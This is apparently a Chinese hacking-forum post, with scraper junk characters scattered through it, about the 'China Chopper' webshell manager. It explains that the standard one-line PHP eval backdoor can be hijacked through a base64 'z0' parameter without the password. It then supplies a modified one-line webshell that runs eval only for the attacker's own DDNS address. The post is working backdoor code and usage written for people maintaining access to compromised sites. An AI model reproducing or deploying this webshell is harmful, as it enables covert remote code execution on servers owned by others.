今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞7 _. l* A/ A4 V% {2 P& ]1 i
# u/ z0 b1 A% U- ~
就算你设置了密码,使用了eval($_REQUEST['moyo']);* Y- N7 J2 \9 b, b& K3 C
+ G! |* v; J: d$ v& T# s但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
8 x& x& S$ X5 c% k9 V
, A$ ]" i5 i. \3 P- F2 [" E因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
' N; L9 R# @1 ~3 p7 [2 s, E+ m+ d1 u; {% `2 D: ]5 w% N
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
# T B% c/ w+ P+ L2 B5 F- X' X3 v9 E
. _; _, m3 u( o2 ~2 T9 ]2 Z% b8 R不知道是设计缺陷还是故意留的后门) N; X4 j& W% l
, ^* n' r" ~9 k4 x$ U
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用5 W2 ^% _/ @# [' W
' M* J, W3 L1 k8 v W7 X本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org
5 O' D2 ?+ z/ K3 u8 Y
' a, A. d% J4 P# p. k然后一句话后门这样写% k6 C0 v6 Z& K; o8 B$ t
6 n: l/ Y' f7 P) w) F) k
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
" I1 z) I/ Y x( E7 m这样就可以让一句话后门只允许自己的电脑连接了% B. j; C! I/ Y; L
U+ C' p- D1 E: o3 O5 z% { |